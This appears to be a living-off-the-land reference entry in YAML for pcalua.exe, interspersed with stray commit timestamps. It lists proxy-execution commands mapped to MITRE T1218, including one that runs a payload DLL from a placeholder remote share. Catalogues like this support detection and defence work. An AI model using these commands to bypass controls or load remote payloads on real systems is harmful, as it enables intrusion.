2018-06-09 00:15:06 +02:00
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Name: Pcalua.exe
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2018-09-24 21:59:43 +02:00
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Description: Program Compatibility Assistant
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Author: 'Oddvar Moe'
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2018-06-09 00:15:06 +02:00
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Created: '2018-05-25'
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Commands:
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- Command: pcalua.exe -a calc.exe
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Description: Open the target .EXE using the Program Compatibility Assistant.
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2018-09-24 21:59:43 +02:00
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Usecase: Proxy execution of binary
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Category: Execute
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Privileges: User
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MitreID: T1218
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MitreLink: https://attack.mitre.org/wiki/Technique/T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: pcalua.exe -a \\server\payload.dll
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Description: Open the target .DLL file with the Program Compatibilty Assistant.
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2018-09-24 21:59:43 +02:00
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Usecase: Proxy execution of remote dll file
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Category: Execute
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Privileges: User
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MitreID: T1218
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MitreLink: https://attack.mitre.org/wiki/Technique/T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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- Command: pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
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Description: Open the target .CPL file with the Program Compatibility Assistant.
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2018-09-24 21:59:43 +02:00
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Usecase: Execution of CPL files
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Category: Execute
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Privileges: User
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MitreID: T1218
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MitreLink: https://attack.mitre.org/wiki/Technique/T1218
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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Full Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\pcalua.exe
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Code Sample:
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2018-09-24 23:18:00 +02:00
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- Code:
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2018-09-24 21:59:43 +02:00
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Detection:
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2018-09-24 23:18:00 +02:00
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- IOC:
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/KyleHanslovan/status/912659279806640128
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Acknowledgement:
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- Person: Kyle Hanslovan
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Handle: '@kylehanslovan'
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- Person: Fab
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2018-09-24 23:18:00 +02:00
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Handle: '@0rbz_'
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2018-09-24 21:59:43 +02:00
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---
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